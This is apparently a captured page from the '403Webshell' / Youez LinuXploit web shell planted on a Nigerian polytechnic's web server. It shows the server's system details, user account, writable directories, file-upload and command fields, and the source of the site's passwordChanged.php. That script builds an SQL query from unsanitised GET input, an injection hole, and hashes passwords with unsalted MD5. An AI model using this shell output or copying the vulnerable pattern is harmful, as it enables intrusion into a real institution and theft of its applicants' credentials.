403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.69.58.211
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/entranceform/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/entranceform/passwordChanged.php
<?php
//ob_flush();

extract($_POST);

if ($_GET['id']) {
    $gsm = $_GET['gsm'];
    $transID = $_GET['id'];
//die($gsm.'_'.$transID);
    require_once('../connect.php');
    $db = db_connect();

    $result = $db->query("select * from entrancetable where transID='$transID'");
    $num = $result->rowCount();
    if ($num > 0) {
        $gsm=md5($gsm);
        $aspoaPassword=$db->prepare("UPDATE `fedpoly`.`entrancetable` SET `password` = ? WHERE `entrancetable`.`transID` =?");
        $aspoaPassword->execute([$gsm,$transID]);
//        $db->query("UPDATE `fedpoly`.`entrancetable` SET `password` = '$gsm' WHERE `entrancetable`.`transID` ='$transID'");
        header('location:' . 'accountInfo.php?id=1');
    } else {
        echo "Error Occur";
    }
}else {
echo 'No Record Found';
}

ob_end_flush();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit